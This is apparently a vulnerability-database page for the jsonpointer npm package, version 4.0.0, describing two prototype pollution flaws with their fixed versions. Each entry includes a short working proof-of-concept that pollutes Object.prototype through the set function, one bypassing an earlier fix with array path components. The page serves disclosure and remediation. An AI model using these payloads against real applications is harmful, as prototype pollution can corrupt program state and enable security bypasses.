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jsonpointer@4.0.0 vulnerabilities

Simple JSON Addressing.

  • latest version

    5.0.1

  • latest non vulnerable version

    5.0.1

  • first published

    13 years ago

  • latest version published

    2 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the jsonpointer package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    jsonpointer is a Simple JSON Addressing.

    Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of a previous Prototype Pollution fix when the pointer components are arrays.

    PoC

    const jsonpointer = require('jsonpointer');

// jsonpointer.set({}, ['__proto__', '__proto__', 'polluted'], 'yes');
// console.log(polluted); // ReferenceError: polluted is not defined

jsonpointer.set({}, [['__proto__'], ['__proto__'], 'polluted'], 'yes');
console.log(polluted); // yes

    How to fix Prototype Pollution?

    Upgrade jsonpointer to version 5.0.0 or higher.

    <5.0.0
    • C
    Prototype Pollution

    jsonpointer is a Simple JSON Addressing.

    Affected versions of this package are vulnerable to Prototype Pollution via the set function.

    POC by NerdJS

    const jsonpointer = require('jsonpointer');
jsonpointer.set({}, '/__proto__/polluted', true);
console.log(polluted);

    How to fix Prototype Pollution?

    Upgrade jsonpointer to version 4.1.0 or higher.

    <4.1.0
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